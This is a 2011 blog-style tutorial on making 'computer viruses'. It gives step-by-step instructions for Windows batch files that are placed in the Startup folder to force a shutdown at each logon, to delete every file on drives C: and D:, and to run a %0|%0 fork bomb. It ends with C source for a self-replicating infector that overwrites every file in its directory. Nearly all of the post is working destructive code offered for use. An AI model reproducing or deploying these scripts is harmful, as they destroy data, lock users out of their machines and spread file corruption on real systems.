Create Your Own Computer Virus(use It on Your Computer)

Posted on the 27 July 2011 by Techsea360 @techsea360

Basic computer viruses are very advance and they can infect computer's boot sectors some can damage computer's RAM and CPU.But here we will create a basic batch file .
STEP1: Open Notepad.
STEP2: Write the following code precisely
         
             cd\
            shutdown -s -t 60

STEP3: Now save the file as "filename.BAT".Remember to save it inside the double quotation otherwise         notepad will append a .txt after the file name and it will not be a batch file.

STEP4: Now go to the file and copy the file.And now open start then Programs and files then startup and double click it.Then pest a shortcut of the file there and close it.
That's it you are done!!!
Next time the user starts the Window it will be shutdown automatically. 
**********************************************************************************
Now you can create a virus that delete all the file in a specific directory or format the entire drive.To do that follow the steps.
STEP1: Open Notepad
STEP2: Write the following code precisely.
               @Echo off
               Del C:\ *.*|y
               Del D:\*.*|y
STEP3: Now save the file as "filename.BAT".Remember to save it inside the double quotation otherwise         notepad will append a .txt after the file name and it will not be a batch file.
STEP4: Now go to the file and copy the file.And now open start then Programs and files then startup and double click it.Then pest a shortcut of the file there and close it.**********************************************************************************
This is the most deadliest batch virus i ever tested on my computer.IT HANGED MY 2.84GHz DUAL-CORE 2GB RAM. 
STEP1: Open Notepad
STEP2: Write the following code precisely.
               @echo off
               %0|%0
STEP3: Now save the file as "filename.BAT".Remember to save it inside the double quotation otherwise         notepad will append a .txt after the file name and it will not be a batch file.
STEP4: Now go to the file and copy the file.And now open start then Programs and files then startup and double click it.Then pest a shortcut of the file there and close it.
**********************************************************************************
This one i found out and working like a magic.Actually it is a true example of virus that is self replicating.Note:Compile it it in TC++ Dev c++ will give error.

#include<stdio.h>

#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>

FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;

void main()
{
st=clock();
clrscr();
done=findfirst("*.*",&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],"rb");
host=fopen(ffblk.ff_name,"rb+");
if(host==NULL) goto next;
x=89088;
printf("Infecting %s\n",ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf("DONE! (Total Files Infected= %d)",a);
end=clock();
printf("TIME TAKEN=%f SEC\n",
(end-st)/CLK_TCK);
getch();
}
**********************************************************************************